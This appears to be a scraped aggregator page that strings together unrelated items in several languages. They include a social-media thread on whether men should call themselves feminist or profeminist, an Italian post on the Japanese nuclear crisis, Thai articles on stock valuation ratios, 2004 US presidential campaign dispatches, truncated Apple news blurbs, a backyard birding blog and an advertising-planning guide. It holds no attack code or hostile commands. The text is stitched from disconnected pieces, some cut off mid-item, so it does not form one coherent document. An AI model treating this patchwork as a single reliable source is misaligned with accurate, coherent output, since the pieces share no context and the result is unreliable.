"Feminist" or "Profeminist"   
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    Richard Twine
    Not a Profeminist but a feminist...

    what do you think of the distinction?

    i think the argument that men should identify as pro-feminist rather than feminist stems from the notion of what academics call epistemic privilege i.e. in this case, men ought not identify as feminists as they cannot know how it is to experience oppression 'as a woman'.

    however i think this is problematic because it
    a) ignores the way in which patriarchy is also a system that includes relations of power between men, most obviously in the oppression of 'feminised' men.
    b) overstates the assumption that 'men' cannot empathise and learn about the experiential knowledge of 'women' (even though to homogenise this would be to ignore 30 years of feminist scholarship)
    c) overstates the value of separatism as a means to radical coalition building
    d) risks homogenising 'men'
    March 23 at 2:43pm · Mark as Irrelevant · Report · Delete Post
  • London Profeminist Hi! As you may already know there are many and different opinions on the issue of this distinction. If we wanted to give a reason for our choice, we would say that the LPMG chooses to identify itself as ‘pro-feminist’ instead of ‘feminist’ cause ‘we don’t need and we don’t want to steal the word from the feminist movement’. This is the opinion of many feminists also and we respect that. Of course, the feminist (or anti-sexist, anti-patriarchist) struggle aims to liberate men also from patriarchy and this is very much where our words and actions tend to contribute. However, it is always good to remind people that the structural inequalities and hierarchies still exist and that being a man in a patriarchal society is in no way the same with being a woman (most of all, in terms of experiences). Men can empathize with let’s say the victims of patriarchy, however we should not ever forget that this empathy is a choice (while oppression isn’t) that is made by men who nevertheless still preserve their privileges in this society.

    Truly, you see a methodological problem there (eg. homogenizing men) since 30 years of feminist scholarship (and most importantly feminist struggles) were enough to change the way some men think about their masculinities. However let’s not forget the previous 2,000 years or so of massive gender oppression… To empathize, after all, does not mean to say that we have the same experiences as women have. It does not mean to try to eliminate the difference among us and women. It is not a matter of competition of victimhood; it is a matter of respect and giving space to the ‘other’.

    And a last thing: the risk of homogenizing all (wo)men is visible in all kinds of gender politics, however many times this is a risk someone must take in order to ‘do politics’ and – let’s say – make a specific demand, no matter how much the academics dislike it. Generalization and homogenization are often strategic steps of this kind of politics and as far as I am concerned they are not false since patriarchy itself is a great, big, awful and violent generalization.

    From LPMG
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  • London Profeminist FROM DAVE in the LPMG (but not necessarily representing the views of LPMG!!!)...

    "We are certainly not a 'separatist' group: in the context of gender politics, separatism means primarily women's groups who literally try to have nothing whatever to do with men in their lives. That would make no sense whatever for a pro-feminist men's group.

    Although there is nowadays a greater emphasis in gender politics on men and women working together and on try to abolish gender roles, collapsing the distinctions too quickly is not helpful, and any decision to do so must rest with women. In my view the postmodern and queer emphasis on dismantling gender identities runs many risks. One is that if the people concerned have not done the work on themselves (and that work is big) it all becomes a pretence. A second risk, which I have often observed happening is that these politics collapse into well-meaning (radical) liberalism."

    Dave



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In questi giorni stiamo seguendo tutti con il fiato sospeso le notizie nucleari provenienti dal Giappone. E' particolarmente difficile trovare fonti di informazione se non corrette almeno ragionevoli. I quotidiani online al solito si distinguono per un'approssimazione quasi criminale (in particolare Repubblica che tiene la linea "AAAAAAH MORIREMO TUTTI!!"). Fortunatamente oggi abbiamo internet e la possibilità di sapere molto di più che ai tempi di Chernobyl.

Purtroppo chi governa le centrali tende a non essere molto trasparente, e ci sono forti dubbi che conosciamo tutto quello che succede. Qualcosa però sappiamo. Amedeo Balbi ha riassunto in maniera ammirabilmente asettica alcune cose nel suo post "Un po' di cose che so sulle centrali nucleari", di cui sottoscrivo anche le virgole.

Se sai l'inglese hai più opzioni. Non è per niente male l'articolo apparso oggi su Ars Technica (che è capace di trattare in maniera imparziale cose persino più controverse, come i prodotti Apple).  Particolarmente sensata mi sembra la conclusione:

This latter set of issues mean that the surest way to build a safe nuclear plant is to ensure that nothing goes wrong in the first place. There are ways to reduce the risk by adding more safety and monitoring features while tailoring the design to some of the most extreme local events. But these will add to the cost of a nuclear plant, and won't ever be able to ensure that nothing goes wrong. So, deciding on if and how to pursue expanded nuclear power will require a careful risk analysis, something the public is generally ill-equipped for. (grassetto mio)

Io continuo ad essere contrario alla costruzione di centrali nucleari in Italia, sostanzialmente per motivi di costo e (naturalmente) di sfiducia. Niente mi toglie dalla testa che chi le vuole sa benissimo che non saranno mai effettivamente costruite e che si tratta di stipulare contratti, distribuire soldi e pagare penali a industrie bustarellanti.

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จะซื้อของทั้งทีคงไม่มีใครอยากได้ของดีราคาแพง ในการวัดความถูกแพง ถ้าเข้าใจแก่นก็สามารถต่อยอดไปได้อีกเยอะครับ โดยการประเมินมูลคาแท้จริงเป็นเรื่องเปรียบเทียบ หลักๆจะดูอยู่ 3 เรื่อง

1.ได้อะไรมา


การลงทุนซื้อหุ้นเราได้ตัวบริษัทและกระแสเงินสดที่ผลิตได้ในอนาคต ถ้าเรามองว่าเราซื้อหุ้นแล้วได้กำไรแต่และปีมาเป็นของเรา การอ่านงบเพื่อให้รู้ว่าลักษณะกำไรของบริษัทเป็นอย่างไร เราอาจแบ่งลักษณะกำไรของหุ้นเป็น 6 ประเภทตามแนวของปีเตอร์ลินซ์ มีดังนี้


  • กำไรโตแข็งแกร่ง โตเรื่อยๆตามอุตสาหกรรม รายได้กำไรโตสม่ำเสมอ มีการลงทุนเรื่อยๆ ROE ROA สม่ำเสมอ
  • กำไรโตเร็ว อุตสาหกรรมกำลังเติบโต ลงทุนสูง จะโตได้ไกล กระแสเงินสดควรเป็นบวก ROE ROA สม่ำเสมอ
  • กำไรโตช้า อุตสาหกรรมเริ่มอิ่มตัว คู่แข่งบาน รายได้เริ่มโตช้าลง ลงทุนเยอะกำไรโตน้อย ROA ROE ลดลงเรื่อยๆ 
  • หุ้นวงจรกำไรโตเป็นรอบๆ 
  • หุ้นเทรินอราวด์ พลิกจากขาดทุนมาเป็นกำไร
  • หุ้นสินทรัพย์แฝง ซื้อๆไว้เดี๋ยววันดีคืนดีก็เอาสินทรัพย์ไปขายก็ได้กำไรมาเป็นก้อน


2.จ่ายไปเท่าไร


เราจ่ายเงินซื้อหุ้นที่ราคาตลาด ณ วันนั้น ถ้าไม่เอาราคาตลาดก็ไปต่อรองกันเอง


3.คุ้มหรือไม่


ผลตอบแทนที่ได้คุ้มกับที่เราจ่ายหรือไม่ ถ้าอยู่ตัวคนเดียวไม่สามารถบอกได้ว่าถูกแพงต้องมีตัวเปรียบเทียบ

3.1ประเมินมูลค่าด้วยอัตราส่วน PE PBV PS 

เป็นการเปรียบเทียบเหมือน Apple to Apple
pe pbv ps pcfo เป็นการเอาสิ่งที่จ่ายpเทียบกับสิ่งที้ได้ เช่น eกำไร bv cfo .........
ถ้าสิ่งที่ได้เหมือนๆกัน บริษัทที่จ่ายซื้อน้อยกว่าแสดงว่าจะถูกกว่า

3.1คิดลดกระแสเงินสด DDM 


ตัวเปรียบเทียบคือ ตัวคิดลดที่เอามาหาร
ยกตัวอย่าง คิดลดเงินปันผล p=d/k-gค่าที่ได้บอกว่า
ถ้ากระแสเงินสดในอนาคตที่เราคาดการณ์เท่ากับ เงินปันผลในอนาคตเท่า d ที่โตเรื่อยๆเท่ากับg (ย้ำว่าคาดการณ์)
ตัวเปรียบเทียบถูกแพงคือ ผลตอบแทนที่คาดหวัง(ผลตอบแทนทางเลือกถ้าไม่ซื้อหุ้นตัวนั้น)เท่ากับk
pคือ ใช้เงินลงทุนในปัจจุบัน ที่ทำให้ได้ผลตอบแทนจากการลงทุนเท่ากับk
เอาค่าที่ได้มาเทียบราคาปัจจุบัน

1.ถ้าราคาหุ้นปัจจุบันต่ำกว่าราคาที่คำณวณได้ แสดงว่า เราซื้อของ"ถูก" เพราะได้ผมตอบแทนจากการลงทุนมากกว่า k
2.ราคาปัจจุบัน เท่ากับราคาที่คำนวณได้ แสดงว่า "ไม่ถูกไม่แพง" เพราะได้ผลตอบแทนจากการลงทุนเท่ากับk
3.ถ้าราคาหุ้นปัจจุบันสูงกว่าราคาที่คำณวณได้ แสดงว่า เราซื้อของ"แพง" เพราะได้ผมตอบแทนจากการลงทุนน้อยกว่า k

ส่วนdcfแค่เปลี่ยนรูปแบบกระแสเงินสดกับตัวคิดลด

โดยสรุป การประเมินมูลค่าก็เหมือนการบอกว่า ท่อนไม่สั้นหรือยาว ถ้าเอาไปเทียบกับไม่ที่สั้นกว่ามันก็ยาว เอาไปเทียบกับไม้ที่ยาวกว่ามันก็สั้น นั่นเอง


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          ปัจจัยกำหนด PBV และการหาราคาเหมาะสม   

PBV หรืออัตราส่วน ราคาต่อมูลค่าทางบัญชี เป็นอัตราส่วนที่นิยมในการประเมินมูลค่าหุ้น บทความนี้ก็จะมาหาปัจจัยที่มีนัยยะสำคัญในการกำหนด PBV และการประมาณค่า PBV ที่เหมาะสมจากตัวเลขทางการเงินครับ

ปัจจัยกำหนด PBV ทางทฤษฎี


เรารู้ว่า PBV = PE x ROE

PE = b / (k-g)
PBV = b / (k-g) x ROE

b คืออัตราการจ่ายเงินปันผลจากกำไร

k-g มันประเมินยาก ดังนั้นจึงประมาณการ k-g จาก DDM
p = d/k-g
k-g = d/p = Yield% ผลตอบแทนเงินปันผล

ROE = ROA x (1+DE)

จากการย้ายข้างสมการไปๆมา ทำให้เลือกตัวแปรมา 4 ตัวคือ

  1. อัตราการจ่ายเงินปันผลจากกำไร b ถ้าเพิ่มขึ้น PBV จะเพิ่ม
  2. อัตราผลตอบแทนเงินปันผล ถ้าเพิ่มขึ้น PBV จะลดลง
  3. ROA เพิ่มขึ้น PBV จะเพิ่ม
  4. DE เพิ่ม PBV เพิ่ม



ผลการประมาณการ PBV ด้วยวิธี Regression


ข้อมูลที่ใช้เป็นข้อมูลภาคตัดขวางจาก web siamchart.com/stock ก็อบข้อมูลมาวันที่ 2 พค จากการประมาณการได้ผลดังภาพ

สมการคือ PBV = 2.55 + 0.121 DE + 0.063 ROA -0.226Yield

มีความสัมพันธ์กันอย่างมีนัยสำคัญ ยกเว้น DE ที่มีนัยสำคัญที่ 90

ทิศทางความสัมพันธ์ตามคาดคือ

  1. DE เพิ่ม PBV เพิ่ม
  2. ROA เพิ่ม PBV เพิ่ม
  3. Yield เพิ่ม PBV ลด

ผ่านมา 1 ปีวันที่ 4 พค 2560 ได้สมการดังภาพ
    ผลสมการของปี 2560 ข้อมูลวันที่ 4 พค
    สมการเปลี่ยนแปลงนิดหน่อยเป็น

    PBV = 1.38 + 0.32DE + 0.23ROA - 0.4Yield

    การประยุกต์หาราคาที่เหมาะสม


    ถ้าเรารู้ ค่า PBV ที่เหมาะสมก็สามารถหาราคาเป้าหมายได้เลย 

    PBV = P / BV

    p = PBV x BV

    ตัวอย่างหุ้น MINT 


    อัตราส่วนหนี้สินต่อส่วนของผู้ถือหุ้น 1.82 เท่า
    อัตราผลตอบแทนจากสินทรัพย์ 10.41 %

    อัตราเงินปันผลตอบแทน 0.94 %

    PBV = 2.55 + 0.121 (1.82) + 0.063 (10.41) -0.226(0.94 )
    = 3.21 เท่า

    มูลค่าหุ้นทางบัญชีต่อหุ้น (บาท/หุ้น) 7.45

    ราคาหุ้นเท่ากับ 7.45 x 3.21 = 23.94 บาท

    แสดงว่าวันนี้เทรดกันที่ราคาแพงไปหน่อย

    มูลค่าเหมาะสม MINT


    ราคาวันนี้แพงไปหน่อย แต่กิจการเขาดีมูลค่ากิจการก็สูงขึ้นเรื่อยๆ ถ้าเจอแบบนี้ก็ต้องถือยาวๆ
    มูลค่าเหมาะสม AS
    เมื่อทดลองนำไปประมาณการมูลค่าของหุ้น AS จะเห็นว่าเมื่อผลประกอบการแย่งลง มูลค่าของกิจการที่จะแย่งลงตามไปด้วย

    ดังนั้นการลงทุน หัวใจอันแรกคือหาหุ้นที่มูลค่ากำลังสูงขึ้น

    การหา PE ที่เหมาะสม


    หรือจะประยุกต์มาหาค่า PE เหมาะสมก็ได้
    PE = PBV / ROE

    ROE = 23.14%

    จะเอามาใส่สมการก็ต้องหาร 100 ก่อนได้ 0.2314
    จะได้ PE เท่ากับ 13.88 เท่า


    สรุปว่าตัวแปรกำหนด PBV ทฤษฎี มีนัยสำคัญทางสถิติกับข้อมูลในตลาดหลักทรัพย์



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    OK, it's unlikely to have much resonance beyond Sheboygan, and neither will Kerry's reference to the women's soccer star "Brady" Chastain, beyond providing more fodder for Football Fans for Truth. But the press on one of the buses in Kerry's caravan through Wisconsin has fun with it anyway, imagining a new Kerryism at our next stop, Appleton: "Hello, Applebee's!" or, even better, "Who among us does not like Applebee's?"

    Besides, things are looking up for Kerry, despite his miscue. The polls in the upper Midwest battlegrounds are trending his direction, and there's a positive spin that can be put on the fact that many of the most important swing states are ones that Al Gore won in 2000. Yes, it means that Kerry is playing defense on what is supposed to be his party's home turf, but on the other hand, surely Democrats would prefer the election hinge on their chances of winning Wisconsin and Iowa rather than, say, Colorado and Nevada.

    The Democratic worries that filled the month of August and much of September have been replaced by Republican fretting. "If you don't have some anxiety you are not in touch with reality," Newt Gingrich told the Los Angeles Times. It wasn't a sign of confidence when President Bush decided Thursday to visit with the press on Air Force One for only the third time of his presidency. And although this election has been marked by an upending of all the normal political rules, a factoid identified by USA Today's Susan Page has to add to Republican unease: "In three elections—in 1960, 1980 and 2000—a presidential candidate has gone into the first debate trailing his opponent in the Gallup Poll and come out of the last debate ahead of him. Each went on to win." Kerry entered the first debate trailing Bush by 8 points. By the second debate, he'd tied the president. The first post-debate Gallup Poll will come out this week.

    But what if Kerry isn't ahead? How dispirited will his supporters be if he can't pass Bush after winning all three debates? Next week's polls won't decide the election, obviously, but they'll go a long way toward measuring the effectiveness of Kerry's turn-it-on-late, Mayday Malone campaign strategy. During the summer months, when Kerry pretty much went into hiding while the Bush campaign was trying to bury him with millions of dollars in negative advertising, the strategy was dubbed the "rope-a-dope," after Muhammad Ali's strategy in the "Rumble in the Jungle" against George Foreman. Now, as if it were planned for the finale all along, Kerry has adopted Ali's query to Foreman in the seventh round: "George, is that all you've got?"

    The other thing Kerry has been telling crowds for the past two days is that the eyes of the world will be on America on Nov. 2, that the world is "waiting for the United States to be the country they know us to be." This election isn't just about one country, Kerry says; it's about the fate of the entire world. It's a global test, in other words, though he's not stupid enough to phrase it that way. Bush says he doesn't like global tests, but even he wouldn't deny that no matter which man wins, he'll have the right to think, at least privately, that he's something else Muhammad Ali proclaimed: king of the world.


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              Their Kind of Town   

    NEW YORK—Zell Miller will be the most notable apostate at the Republican National Convention, but Ed Koch gets to be the first. At the first GOP convention ever held in New York City, the first speaker after the opening remarks by Republican National Committee Chairman Ed Gillespie and RNC Co-Chair Ann Wagner is the former mayor, a Democrat. "Why am I here?" the jovial Koch asks the smattering of assembled delegates at the sparsely attended Monday morning session. "I'm here to convert you. But that's for the next election. This year, I'm voting for the re-election of President George W. Bush." The small crowd gives Koch a huge cheer.

    Koch is followed by another New York mayor, the current one. At the first GOP convention ever held in New York City, Republican Michael Bloomberg declares, "Welcome to America's New York." It's a strange choice of words, one that makes it sound as if the Republican delegates suspect they somehow landed in Russia's New York. (Perhaps that was the New York that Koch presided over.) But Bloomberg's choice of words is telling. The picture of New York painted during the convention's morning session is a city in tune with the rest of the country, the South, Middle, and West that most Republicans hail from. Maybe Bloomberg should have said, "Welcome to Red America's New York."

    After Bloomberg speaks, a video produced by the History Channel tells the political history of the capital of Blue America, but it's really the history of the Republican Party in New York. We hear about the birth of Teddy Roosevelt, for example, but not, say, the Stonewall riots. (The video also contains the first bit of disinformation at the convention: It calls TR "our second-youngest president" when in fact he was the youngest president, taking office as a 42-year-old after the assassination of President McKinley. JFK, at 43, was the youngest man elected to the presidency.) "America's New York" is where the Bill of Rights was written, not where the gay rights movement began. It's where Abraham Lincoln, the most beloved Republican, denounced the spread of slavery at Cooper Union. It's also home to the machinery of global capitalism: the New York Stock Exchange and the headquarters of more major corporations than any other city.

    Long before we get to Rudy Giuliani, New York Mayor No. 3 of the day, the message of Day 1 couldn't be clearer: Don't worry, nervous visitors. Despite what you may have heard from your friends (or seen from the protestors), this is your town!

    But the Big Apple love-in doesn't last all that long. No one denounces the city, of course, but the disconnect between the majority of New Yorkers and the majority of Republicans comes across during the succession of speeches by GOP congressional candidates. In the most Jewish city in America, Mississippi congressional candidate Clinton LeSueur strays from President Bush's carefully inclusive religious rhetoric. Instead of making the nonsectarian statement in his prepared text—"The very foundation of this country is faith"—LeSueur says, "The very foundation of this country is Christianity and faith in Jesus Christ."

    Ted Poe, a congressional candidate from Texas, goes even further. He compares Upper West Side liberals, at least implicitly, to the nation's enemies in the war on terror. The country is currently fighting for freedom abroad in Iraq, Poe says. But it's also fighting for "basic American principles" at home. "This threat is real," he continues. Don't "complain and criticize as the French did in the war in Iraq." No, this dangerous "threat" must be stopped with a fierce barrage of smaller government and lower taxes. "Sitting on the sidelines is not an option," says Poe, sticking with his hilariously inappropriate analogy. "Now is not the time to be a French Republican" (or, as the official transcript of his piece has it, an all-caps "FRENCH REPUBLICAN").

    Who screened Poe's speech? Sure, it's not prime time, but certainly someone pointed out (or someone should have pointed out) that it wasn't a good idea to compare Democrats, by far the majority in New York, to Baathists.

    Maybe Poe was more shocked by the scale of the anti-Bush protests in the streets than he should have been. He expected the Republicans to be greeted in Manhattan as liberators.


              The iPhone 7 is expected to be slimmer, have a better camera but no headphone jack   
    Apple, with iPhone sales slipping, is under pressure to generate excitement at its iPhone event this week in San Francisco, but users may wait for its next model, which is expected to coincide with the iPhone's 10th anniversary next year.
              Silicon Valley architecture: Apple, Google, Facebook lead the way   
    In a place known for out-of-the-box thinking and risk taking, some tech firms are no longer playing it safe when it comes to their work spaces.
              The Composite Candidate   

    BOSTON—The early portions of John Kerry's speech accepting the Democratic nomination for president of the United States resembled a typical Kerry for President campaign event. It was variety hour, with Kerry as emcee, introducing and thanking his special guests: his running mate, John Edwards; his wife, Teresa Heinz Kerry; his children and stepchildren, Alexandra and Vanessa Kerry and Andre, Chris, and John Heinz; and of course Max Cleland and Kerry's Vietnam "band of brothers." In a new twist, Kerry also took a moment to thank each of his primary opponents by name—Carol Moseley Braun, Wesley Clark, Howard Dean, Dick Gephardt, Bob Graham, Dennis Kucinich, Joe Lieberman, and Al Sharpton. He thanked them for "teaching me and testing me—but mostly, we say thank you for standing up for our country and for giving us the unity to move America forward." But Kerry forgot to thank them for one other thing: writing his acceptance speech.

    When he began his run for the presidency, Kerry possessed the biography, the résumé, the presence, and even the height required for a successful campaign. But initially he struggled to provide a compelling rationale, beyond those assets, for why he should assume the highest office in the land. Sure, he kind of looked like a president, and yes, he seemed to think he deserved it, but that wasn't enough to convince voters in 2003. Later, the rise of Howard Dean and John Edwards sharpened Kerry as a candidate—perhaps because he becomes more focused on deadline, but also because he co-opted their messages, sometimes verbatim.

    Kerry turned himself into the Democratic composite candidate, and with the addition of his biography, the one component no other candidate could borrow, he steamrolled the field. So, it was appropriate for him to thank the eight candidates who, in large or small part, provided the content that catapulted Kerry to the nomination and that now, he hopes, will carry him to the presidency.

    To be fair, there were healthy chunks of Kerry's message from the primaries in the address. His line that, after Vietnam, "every day is extra" was used in an Iowa TV commercial that helped power him to his surprise victory in the caucuses there. Kerry didn't talk a lot about cutting middle-class taxes during the primaries, but his message that Howard Dean was going to raise taxes on the middle class helped spike Dean's candidacy. The attacks on outsourcing and corporate welfare were familiar to anyone who's watched Kerry campaign, and so was the sense of entitlement—or for those who want to view it charitably, destiny—that came across when he told Americans that as a child in a Colorado hospital, "I was born in the West Wing."

    But Kerry also sounded a lot like his running mate, John Edwards. He talked to voters directly about their struggles to pay the bills: "You know what's happening. Your premiums, your co-payments, your deductibles have all gone through the roof." He mentioned the rise in the number of families living in poverty, a pet Edwards issue. His "we're the optimists" line was pure Edwards, and when he noted, "I don't want to claim that God is on our side. As Abraham Lincoln told us, I want to pray humbly that we are on God's side," he was pilfering the quote from the guy he chose for the ticket, who used it during their final primary debate.

    Kerry sprinkled some of the best stuff from the rest of the field into the speech, too. Dean loved to attack Republicans for trying to appropriate the American flag for their own private use, when in fact it was the flag of all Americans, even—gasp—Democrats. Tonight, Kerry added a similar riff to his repertoire. He also adapted Dean's line about a president's most solemn duty being to tell the truth before taking a nation to war, when he promised to "be a commander in chief who will never mislead us into war." There was also a dash of Wesley Clark's "new patriotism," Clark's affirmation of dissent as patriotism's highest form, when Kerry said, "We are here to affirm that when Americans stand up and speak their minds and say America can do better, that is not a challenge to patriotism; it is the heart and soul of patriotism." Clark also had a riff about family values that Kerry adapted tonight, saying, "It is time for those who talk about family values to start valuing families."

    And, could it be? Was that a tiny drop of Bob Graham I heard when Kerry criticized America's dependence on the Saudi royal family for oil? The speech even contained a hint of Carol Moseley Braun, who liked to say, "It doesn't matter if you came to this country on the Mayflower or a slave ship, through Ellis Island or across the Rio Grande, we're all in the same boat now." What kind of America did Kerry say he wanted to lead? "An America where we are all in the same boat." There were only the tiniest hints, if any at all, of the rhetoric of Gephardt, Kucinich, Lieberman, or Sharpton that I could discern (though I feared before the speech began that its delivery would be pure Joementum), but that was for the best. There's no use burglarizing the poorest houses in your neighborhood.

    Kerry shouldn't be criticized for adopting his competitors' rhetoric, especially now that the race is long over. Good politicians borrow, after all, while great politicians steal. And the candidate of a unified party might was well be the sum of all its candidates.

    There are two questions, though, about Kerry's use of this political strategy. For one, there's a limit to how much longer he can use it. The zeal of the Democrats to retake the White House grants Kerry a fair amount of leeway to co-opt Bush's message and appeal to the center for the next three months, but he can't exactly get up and declare himself the candidate of compassionate conservatism. (Or can he?)

    Perhaps more important is the extent to which Kerry's remarkable ability to be all things to all Democrats has convinced nearly every faction of the party, from paleoliberals to New Democrats, that he is their candidate. Should Kerry actually take office in January, won't his grand coalition splinter once he starts disappointing certain elements within it? My guess is yes, and that Kerry doesn't particularly care at the moment. It's a problem he'd be happy to grapple with for four more years.


              INDISCIPLINE – Degrees of Shade   
    Indiscipline have released a video clip for the song “Degrees Of Shade”, taken from the debut album “Sanguinea”. Stream and download “Sanguinea” at: “Sanguinea” at iTunes/Apple Music “Sanguinea” at Spotify Indiscipline official site
              André esquenta Fernanda ... com uma blusa    


    No Quarto Brechó, Fernanda reclama de frio paraAndré. O brother diz que pode emprestar uma camisa para que a mineira possa se esquentar. "Eu queria uma blusa de frio, mas perdi". "Pega uma minha, aí", diz o capixaba.
    Fernanda acaba pegando uma camisa cinza de manga comprida de André. "Essa é bacana. Aproveita que essa esquenta, diz o empresário". Aline observa tudo e apenas sorri.

              Apple pubblicizza iPhone 5 con “Photos Every Day”   

    iPhone Rumors -

    Apple ha appena varato un nuovo spot Tv per pubblicizzare iPhone 5. In particolar modo, la nuova pubblicità si focalizza nel mettere in evidenza i pregi della fotocamera e la maniera in cui gli utenti la utilizzano per scattare foto in ogni momento della giornata. Il titolo della nuova campagna pubblicitaria è “Photos Every Day”: […]

    Da Apple pubblicizza iPhone 5 con “Photos Every Day” .
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              Apple vende i biglietti per il WWDC 2013 in 2 Minuti   

    iPhone Rumors -

    Apple ha annunciato e ha dato il via alla vendita dei biglietti di ingresso per l’annuale conferenza Worldwide Developers Conference, WWDC che si terrà nel mese di Giugno, dal 10 al 14, presso la tradizionale sede del Moscone West Center di San Francisco. Il prezzo dei biglietti è di 1599 $. “Assicuratevi una occhiata approfondita sul […]

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              iPhone 6: Nessuno schermo da 5 pollici   

    iPhone Rumors -

    Il nuovo iPhone 6 (o 5S) non presenterà lo schermo da 5 pollici. Sebbene i rumors si rincorrano in maniera frenetica, e si dicano pronti a scommettere sul prossimo modello di iPhone, o su quello successivo, per quello che riguarda la dimensione dello schermo, durante la conferenza per la presentazione dei risultati fiscali di Apple […]

    Da iPhone 6: Nessuno schermo da 5 pollici .
    Pubblicato su iPhone Rumors


              Apple presenta il trimestre Q2: profitti in crescita del 11%   

    iPhone Rumors -

    Apple rende noto il risultato del trimestre fiscale Q2: nella relazione è indicato come Apple abbia fatturato 43, 6 miliardi di dollari, ed un netto di 9, 5 miliardi di dollari. Più nello specifico, Cupertino ci fa sapere di avere venduto ben 37,4 milioni di iPhone, in miglioramento rispetto all’anno scorso nello stesso periodo di […]

    Da Apple presenta il trimestre Q2: profitti in crescita del 11% .
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              The Not So Popular Common Grackle    
    With the afternoon sun greatly enhancing the Grackle’s iridescent feathers and looking much like a songbird, here the species almost looks appealing. Looks can be deceiving........
    We get a good variety of songbirds here, wrens, finches, warblers, etc. Whether it be at the feeders or in our apple tree when it’s covered with blossoms, we often have a plethora of feathered songsters on hand. Then, one day in spring, like clockwork, a flock of Grackles comes flying in and setting up shop in the surrounding trees. As you might guess, they waste no time taking over our bird feeders. Just like that our songbird fest is over – at least until the feeders have been depleted of seed and the marauding Grackles have moved on.

    The Common Grackle’s trademark look of sinister defiance.
    Whenever I see Grackles, three distinct images come to mind, two of which bring about feelings of disdain. The first instance occurred while doing a landscape job and seeing what I thought was a piece of paper being blow along by the wind. Following close behind was a Grackle, pecking away at the moving object which turned out to be a fledgling Robin, helpless and trying its best to flee its tormentor. The second occurrence was reported by a friend who told me of watching a horde of Common Grackles strutting through a meadow in search of ground-nesting songbirds.  
    Imagine what a fledgling bird must feel when confronted by this menacing presence.    
    Lastly, I was hiking along Tonawanda Creek one spring afternoon when I heard a commotion in cluster of phragmites. The rustling sound roused my curiosity and as tried to get a closer look a grackle sprang forth from those dead reeds, taking flight with a snake dangling from its beak. That little wildlife drama left me with mixed emotions toward the grackle. On one hand there was just the slightest trace of admiration, after all, here was bird not much bigger than a Blue Jay about to make a meal of a snake. On the other hand I felt no remorse for the snake and no hurrah for the grackle.     

    Until next time, 
    Jim & Claudia

              An Avian Melody: the Cardinal’s Song of Joyful Praise   
    This male Cardinal is taking a respite in our apple tree between trips to the feeder.

    We enjoy feeding the birds year round, but in winter, when the surroundings can be rather drab, the Northern Cardinal certainly brightens the landscape. But these days it’s much more than simply watching the birds at the feeder. Watching the songbirds, particularly the wintering Cardinal, has raised questions. Is the Northern Cardinal, like others of the avian world, something more than simply a vividly-colored songbird? They forage, they procreate & raise their young. They do their utmost to survive, oftentimes in cruel and unforgiving elements. And still, they see fit to fill the air with a sweet melody.
    A female Cardinal belts out a tune, much to our great delight.
    The Cardinal’s cheery song is easily recognizable and while most songbirds are heard only during the mating season, Cardinals can be heard any time of year. The Cardinal’s delightful song is often heard while the songster itself remains hidden out of sight.
    Such vivid imagery!
    Other times they are spotted quickly thanks to a backdrop of blue sky. In the case of the Cardinal, such a contrasting background only serves to enhance nature’s palette.  
    Winter serenity.
    There once was a time when we didn’t give a whole lot of thought to their existence. Eventually, there came a day when we were perhaps more than a bit in awe of their ability to cope with and survive the harsh conditions of winter. Pondering this, it occurred to us that Cardinals, like all songbirds, are something special – a Godly handprint if you will, a gifted species of creation that sing of the majesty and wonders of their Creator and send their lavish praises skyward. One can't help but believe that perhaps they have ample reason for doing so.

    “Look at the birds of the air, for they neither sow nor reap nor gather into barns; yet your heavenly Father feeds them”….. Matt. 6:26

    Until next time,
    Jim & Claudia


              Apple Blossom Time = Abundant Bird Life    
    A most welcome visitor to our yard and a long time favorite of ours is
     the Northern “Baltimore” Oriole.
    Another reminder that our Father in Heaven oversees all things in the circle of life is currently unfolding before us.  Apple blossom time and songbird nesting season go hand in hand. Each day a variety of colorful songsters arrive, a good number of them attracted to the aromatic white clusters in search of insects. Some species still prefer to dine at our bird feeder and a few of our feathered friends will indulge themselves both at the feeder and on the bugs they find among the apple blossoms.  After all, it is nesting season and there are hungry little mouths to feed!   

    The Yellow Warbler has a very familiar and cheery call.
    This colorful visitor is the Yellow warbler, each one a tiny study in perpetual motion as they rapidly flit about seemingly non-stop while probing the apple blossoms for a meal.  Their call is most pleasing to the ears, one can't help but smile when they're around.

    The Red breasted Groseak prefers to be heard, but not seen.
    The easy to identify Rose-breasted Grosbeak is another visitor that is both colorful and bears a cheery song as well. We have two nesting pairs in close proximity this year.

    The Indigo Bunting, seen here atop our feeder, is often mistaken for a blue bird. 
    We’ve been seeing more and more of this species in recent years. 
    Here you have four of our favorites, we hope your enjoy them as much as we do.  Each one is not only aesthetically pleasing to the eye but, the ear as well.  Their songs range from sweet to melodious to cheerful. We’ve heard it said the joy of the Lord will put a song in your heart. What might the songbirds be trying to tell us?

    Until Next Time,
    Jim & Claudia.   



              New York Fall Break Trip   
    Take a trip with the GEO to the Big Apple during WAC’s fall break!
              Presunta explosión de un iPhone 5 en China   
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              El nuevo iPad - The new iPad   
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              The new iPad commercial - Spot Apple   
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              So, you want to work in Planning?   
    Mmm, yellow fats. A classic planning problem.

    Hello all.

    I'd say about half of the emails I receive about getting into advertising relate to planning.

    And, being a planner myself, I'm more than happy to offer advice, especially as it's a tricky line of work to get into. When I was trying to get into it, I read an awful lot of Russell Davies's blog (the planner who did a lot of very good work on Nike and Honda, amongst others) - and, I think, is still a good resource. Additionally, the London Strategy Unit has begun to run a short course for wannabe planners that you should check out.

    Planning is always a hard thing to write about, much less explain coherently (though the APG has a brilliant guidebook on it) if you've never done it. And, for most of the folks reading this, the opportunity to do planning is fairly remote.

    Now, when you're in the job as a junior planner, there's a post in the AdGrads archives that might be useful. But for those who've never had to write a planning presentation, or want to understand what goes into it, I've written a short presentation to help show how you'd put something together to show your client, and set up what the creative work will be - along with a communications plan, something to  indicate how you'd spend the media money in an ideal world.

    I thought it would be a good idea to pick a brand and answer a fictional problem to help folks understand the thought process that goes into a planning presentation - one that's away from the typical sexy brand (your Nikes, your Apples', your Budweiser's) that most think of when they talk about their favourite work. And, after all, the 'yellow fats' category is amongst one of the most traditional planning problems to tackle.


    Have a go yourself. Send me your presentations, or put it up on Slideshare, and we can have a Q&A as to how you've tackled it.


    Most of this presentation was written with a bit of desk research, some time spent in-store and some time spent chatting to the typical consumers (mums, in short). Check out the ONS, read up on new launches in the category - and see what you think. If I was planner on the business, there'd be a raft of information I'd receive; but in this instance, don't worry about being 100% right when it comes to buying behaviours...just use whatever research you can find on or offline.

    The presentation's below, and you can download it (or get in touch with me - william.humphrey at yahoo.co.uk if you'd like the keynote presentation with notes) from Slideshare.


    A point of view on Flora margarine.. from Will Humphrey

    NB: The business has come up for pitch; it'll be interesting to see what sort of work they come up with.
